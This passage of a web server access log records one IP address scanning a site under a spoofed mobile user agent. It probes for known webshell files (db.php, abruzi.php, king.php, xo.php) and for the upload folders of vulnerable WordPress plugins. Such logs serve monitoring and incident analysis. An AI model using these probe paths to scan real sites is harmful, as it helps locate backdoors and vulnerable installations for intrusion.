AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:00 +0530] "GET /.well-knownold/ HTTP/1.1" 302 235 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:01 +0530] "GET /.well-known/acme-challenge/ HTTP/1.1" 302 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:02 +0530] "GET /.well-known/ HTTP/1.1" 302 232 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:03 +0530] "GET /cgi-bin/ HTTP/1.1" 302 228 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:04 +0530] "GET /ALFA_DATA/ HTTP/1.1" 302 230 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:04 +0530] "GET /.well-knownold/ HTTP/1.1" 302 235 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:05 +0530] "GET /.well-known/acme-challenge/ HTTP/1.1" 302 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:07 +0530] "GET /.well-known/ HTTP/1.1" 302 232 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:07 +0530] "GET /uploads/ HTTP/1.1" 302 228 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:08 +0530] "GET /upload/ HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:09 +0530] "GET /admin/uploads/ HTTP/1.1" 302 234 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:11 +0530] "GET /Admin/uploads/ HTTP/1.1" 302 234 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:12 +0530] "GET /admin/ HTTP/1.1" 302 226 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:13 +0530] "GET /images/ HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:14 +0530] "GET /assets/ HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:15 +0530] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 302 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:16 +0530] "GET /upload/image/ HTTP/1.1" 302 233 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:17 +0530] "GET /assets/images/ HTTP/1.1" 302 234 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:18 +0530] "GET /Public/ HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:19 +0530] "GET /vendor/ HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:20 +0530] "GET /local/ HTTP/1.1" 302 226 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:21 +0530] "GET /modules/ HTTP/1.1" 302 228 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:22 +0530] "GET /Site/ HTTP/1.1" 302 225 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:23 +0530] "GET /system/ HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:24 +0530] "GET /template/ HTTP/1.1" 302 229 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:25 +0530] "GET /shop/ HTTP/1.1" 302 225 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:26 +0530] "GET /files/ HTTP/1.1" 302 226 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:27 +0530] "GET /admin/editor/ HTTP/1.1" 302 233 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:31 +0530] "GET /include/ HTTP/1.1" 302 228 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:33 +0530] "GET /Assets/ HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:35 +0530] "GET /images/stories/ HTTP/1.1" 302 235 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:36 +0530] "GET /plugins/ HTTP/1.1" 302 228 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:37 +0530] "GET /php/ HTTP/1.1" 302 224 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:38 +0530] "GET /wp-includes/assets/ HTTP/1.1" 302 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:39 +0530] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 302 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:40 +0530] "GET /wp-includes/block-patterns/ HTTP/1.1" 302 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:42 +0530] "GET /wp-includes/Text/Diff/ HTTP/1.1" 302 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:43 +0530] "GET /wp-includes/block-supports/ HTTP/1.1" 302 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:44 +0530] "GET /wp-includes/blocks/ HTTP/1.1" 302 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:45 +0530] "GET /wp-includes/certificates/ HTTP/1.1" 302 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:46 +0530] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 302 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:47 +0530] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 302 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:48 +0530] "GET /wp-includes/css/ HTTP/1.1" 302 236 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:49 +0530] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 302 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:50 +0530] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 302 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:51 +0530] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 302 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:52 +0530] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 302 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:53 +0530] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 302 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:54 +0530] "GET /wp-includes/Requests/Response/ HTTP/1.1" 302 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:54 +0530] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 302 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:55 +0530] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 302 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:56 +0530] "GET /wp-includes/js/codemirror/ HTTP/1.1" 302 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:57 +0530] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 302 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:58 +0530] "GET /wp-includes/js/crop/ HTTP/1.1" 302 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:07:59 +0530] "GET /wp-includes/images/crystal/ HTTP/1.1" 302 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:00 +0530] "GET /wp-includes/images/media/ HTTP/1.1" 302 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:00 +0530] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 302 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:01 +0530] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 302 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:01 +0530] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 302 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:02 +0530] "GET /wp-includes/images/smilies/ HTTP/1.1" 302 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:02 +0530] "GET /wp-content/themes/gaukingo/db.php?u HTTP/1.1" 302 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:02 +0530] "GET /wp-includes/images/wlw/ HTTP/1.1" 302 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:03 +0530] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 302 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:03 +0530] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 302 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:03 +0530] "GET /wp-includes/rest-api/search/ HTTP/1.1" 302 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:04 +0530] "GET /wp-content/plugins/ioptimizations/IOptimizes.php?hamlorszd HTTP/1.1" 302 278 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:04 +0530] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 302 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:04 +0530] "GET /wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 302 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:05 +0530] "GET /wp-content/plugins/wp-file-manager/lib/files/a57bze8931.php HTTP/1.1" 302 279 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:05 +0530] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 302 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:05 +0530] "GET /wp-content/plugins/wp-file-manager/lib/files/abruzi.php4 HTTP/1.1" 302 276 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:06 +0530] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 302 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:07 +0530] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 302 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:07 +0530] "GET /wp-content/plugins/wp-file-manager/lib/files/abruzi.php HTTP/1.1" 302 275 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:07 +0530] "GET /wp-content/plugins/wp-file-manager/lib/files/king.php HTTP/1.1" 302 273 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:07 +0530] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 302 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:08 +0530] "GET /wp-content/plugins/wp-file-manager/lib/files/xo.php HTTP/1.1" 302 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:08 +0530] "GET /wp-includes/customize/ HTTP/1.1" 302 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:08 +0530] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/king.php HTTP/1.1" 302 317 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:09 +0530] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/xo.php HTTP/1.1" 302 315 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:09 +0530] "GET /wp-includes/fonts/ HTTP/1.1" 302 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:09 +0530] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/abruzi.php4 HTTP/1.1" 302 320 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:10 +0530] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/a57bze8931.php HTTP/1.1" 302 323 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:10 +0530] "GET /wp-includes/html-api/ HTTP/1.1" 302 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:11 +0530] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/abruzi.php HTTP/1.1" 302 319 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:11 +0530] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/abruzi.php4 HTTP/1.1" 302 289 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:12 +0530] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/king.php HTTP/1.1" 302 286 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:08:12 +0530] "GET 